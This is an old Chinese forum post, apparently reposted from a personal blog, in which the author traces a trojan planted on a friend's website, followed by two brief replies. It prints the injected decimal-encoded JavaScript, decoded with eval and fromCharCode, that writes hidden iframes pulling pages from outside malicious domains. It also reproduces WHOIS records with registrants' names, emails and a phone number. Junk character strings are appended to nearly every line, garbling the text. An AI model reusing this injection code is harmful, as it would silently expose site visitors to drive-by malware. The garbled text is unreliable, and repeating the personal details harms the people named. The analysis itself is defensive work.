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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, VBV y3fnj  
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http://www.areway.cn/?p=175  ;LEO+,6  
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B^Y AKbY  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 6t@kft>Nv  
          A'Q=Do E  
<script>t=’60,105,102,114,97,109,101, w5zr Ek#  
32,115,114,99,61,104,116,116,112,58,47,47, &,E^ y,r  
102,114,101,101,46,117,45,117,117,117,46,99, eT 8(O36%  
110,47,101,114,114,111,114,46,104,116,109, &("HH"!  
32,119,105,100,116,104,61,49,48,48,32,104, D >ax<t1K  
101,105,103,104,116,61,48,62,60,47,105,102, Hw[(v[v  
114,97,109,101,62′; 1N8gH&oF  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> TY,5]*86I&  
                                                                                                  }i,LP1R  
<script>t=’60,105,102,114,97,109,101,32,115, o"h* @.  
114,99,61,104,116,116,112,58,47,47,102,114, aVTTpMY  
101,101,46,117,45,117,117,117,46,99,110,47, ~2 aR>R_nT  
101,114,114,111,114,46,104,116,109,32,119, ZH6#(;b  
105,100,116,104,61,49,48,48,32,104,101,105, 4rkj$  
103,104,116,61,48,62,60,47,105,102,114,97, 1=Npq=d  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); +pDZ,c,  
document.write(t);</script> K??(>0Qr}r  
                                                                                                  n:QFwwQ`Q;  
<html xmlns=” ^yLiyRe\  
http://www.w3.org/1999/xhtml IJX75hE0g  
“> eru2.(1  
<head> es]S]}JV  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> o[<lTsw<  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> tx0`#x  
<title>首页 - 爱生活家庭网 9?M>Y?4  
                                                                                                                                                    =e\E{K'f@  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 &oi*]:<FNe  
转换字符串后的大概内容是(谁点击后果自付): !<`}m E!:  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… l6o?(!:!%  
                                                                                                                                  ['1JN UX  
查询玉米u-uuu.cn的详细信息: _19x`J3  
Domain Name: u-uuu.cn j;%RV)e  
ROID: 20070901s10001s64972306-cn ;&="aD  
Domain Status: ok }t.J;(ff:  
Registrant Organization: 王雷 2Cy">Exl  
Registrant Name: 王雷 |Uf[x[  
Administrative Email: czlovexs@126.com Z?@1X`@  
Sponsoring Registrar: 北京万网志成科技有限公司 m]}%Ag^x  
Name Server:ns.yovole.com B?o ?LI  
Name Server:ns1.yovole.com ~\4`tc  
Registration Date: 2007-09-01 17:54 kC : pal  
Expiration Date: 2008-09-01 17:54 #$/SM_X14C  
最后PING了一下地址 都没有什么…. P!uwhha/g  
                                                                                                H#P)n R M  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. H_3-"m&3  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ]<y _ =>  
<script language=”javascript” src=” g$=y#<2?  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *c"tW8uR  
> 2oL~N*^C  
这个玉米应该有可能是木马作者的: B^8]quOH  
foafau.info的详细信息: y9<]F6TT  
Access to INFO WHOIS information is provided to assist persons in <$m=@@qg  
determining the contents of a domain name registration record in the HI+87f_Q  
Afilias registry database. The data in this record is provided by c{7<z9U  
Afilias Limited for informational purposes only, and Afilias does not . Y@)3  
guarantee its accuracy.  This service is intended only for query-based w?u4-GT  
access. You agree that you will use this data only for lawful purposes H~fX >6>  
and that, under no circumstances will you use this data to: (a) allow, mC-'z  
enable, or otherwise support the transmission by e-mail, telephone, or PH,MZ"Z%  
facsimile of mass unsolicited, commercial advertising or solicitations N%3 G\|~Q  
to entities other than the data recipient’s own existing customers; or bBwMx{iNNz  
(b) enable high volume, automated, electronic processes that send ~lg1S  
queries or data to the systems of Registry Operator, a Registrar, or <<Zt.!hS  
Afilias except as reasonably necessary to register domain names or J2tD).G  
modify existing registrations. All rights reserved. Afilias reserves ^5BLuN6  
the right to modify these terms at any time. By submitting this query, o *\c V 6  
you agree to abide by this policy. 'VH%cz*  
Domain ID:D22418703-LRMS |q0MM^%"  
Domain Name:FOAFAU.INFO [):&R1U  
Created On:20-Nov-2007 16:05:42 UTC I,rs&m?/m  
Last Updated On:20-Nov-2007 16:05:44 UTC V s/Z8t  
Expiration Date:20-Nov-2008 16:05:42 UTC > J!J:  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Mv\odf\]  
Status:CLIENT DELETE PROHIBITED ,gdf7&r  
Status:CLIENT RENEW PROHIBITED p xj}%LH  
Status:CLIENT TRANSFER PROHIBITED s#f6qj  
Status:CLIENT UPDATE PROHIBITED I @sXmC2$\  
Status:TRANSFER PROHIBITED H2EKr#(  
Registrant ID:GODA-040110615 ]J`yh$a  
Registrant Name:liu hong t,CC~  
Registrant Organization: <OYy ;s  
Registrant Street1:beijing x{=@~c%eh  
Registrant Street2: hu=b ,  
Registrant Street3: \a\J0&Z  
Registrant City:beijing B Q) 1)8r  
Registrant State/Province: y7&8P8R  
Registrant Postal Code:100000 R9dC$Y]\M  
Registrant Country:CN g 0=Q>TzY  
Registrant Phone:+86.860108888777 zYL</!6a[  
Registrant Phone Ext.: S`N_},  
Registrant FAX: 2!UNFv#=$  
Registrant FAX Ext.: C}})dL;(  
Registrant Email:bbbshiji@163.com \1^qfw  
Admin ID:GODA-240110615 N.j?:  
Admin Name:liu hong  ~\0uy3%  
Admin Organization: $s[DT!8N  
Admin Street1:beijing #zRT  
Admin Street2: ,F4 _ps?(  
Admin Street3: qa|"kRCO  
Admin City:beijing VW," dmC  
Admin State/Province: 7mUpn:U  
Admin Postal Code:100000 ZD)pdNX  
Admin Country:CN /Dh[lgF0C  
Admin Phone:+86.860108888777 k{{iF  
Admin Phone Ext.: i2h,=NHJh?  
Admin FAX: >n`!S`)9{  
Admin FAX Ext.: C^dnkuA  
Admin Email:bbbshiji@163.com Gp<7i5  
Billing ID:GODA-340110615 ;p$KM-?2D  
Billing Name:liu hong k@,&'imx  
Billing Organization: hqPpRSv'  
Billing Street1:beijing #5Zf6w  
Billing Street2: Jl,mYFEZ  
Billing Street3: vZ<@m2  
Billing City:beijing Obd};&6Q  
Billing State/Province: b[mAkm?9+1  
Billing Postal Code:100000 SI/@Bbd=  
Billing Country:CN zmREzP#X  
Billing Phone:+86.860108888777 O@n1E'S/  
Billing Phone Ext.: /M Hml0u  
Billing FAX: Wa/&H$d\u@  
Billing FAX Ext.: l7g< $3  
Billing Email:bbbshiji@163.com =*ZQGM3w  
Tech ID:GODA-140110615 aa:97w~s0  
Tech Name:liu hong &7gL&AY8  
Tech Organization: L `7~~  
Tech Street1:beijing {95z\UE}  
Tech Street2: z / YF7wrx  
Tech Street3: m/2LwN  
Tech City:beijing Z$8 X1(o  
Tech State/Province: (3H'!P7|~  
Tech Postal Code:100000 t1y hU"(J  
Tech Country:CN [CCj5N1/  
Tech Phone:+86.860108888777 AqD)2O{VO  
Tech Phone Ext.: 8Z^9r/%*Z  
Tech FAX: d#?.G3YmK  
Tech FAX Ext.: 'h?;i2[  
Tech Email:bbbshiji@163.com p=tj>{  
Name Server:NS27.DOMAINCONTROL.COM W~TT`%[  
Name Server:NS28.DOMAINCONTROL.COM  P[l?  
Name Server: 6$d3Ap@Gl  
Name Server: ]A;{D~X^w  
Name Server: ("UzMr,  
Name Server: rQW&$M  
Name Server: 3EM=6\#q  
Name Server: O{sb{kk  
Name Server: n+C,v.X  
Name Server: LLa72HW  
Name Server: 3C=|  
Name Server: L_3undy,  
Name Server: #0i] g)  
                                                                                                          ~@3X&E0S  
接着下载每个文件里面的代码: h{ &X`$  
一步一步看.. c<'Pt4LY  
%:^|Q;xe  
T8ga)BA  
ql|ksios  
GsYi/Z   
?5%0zMC  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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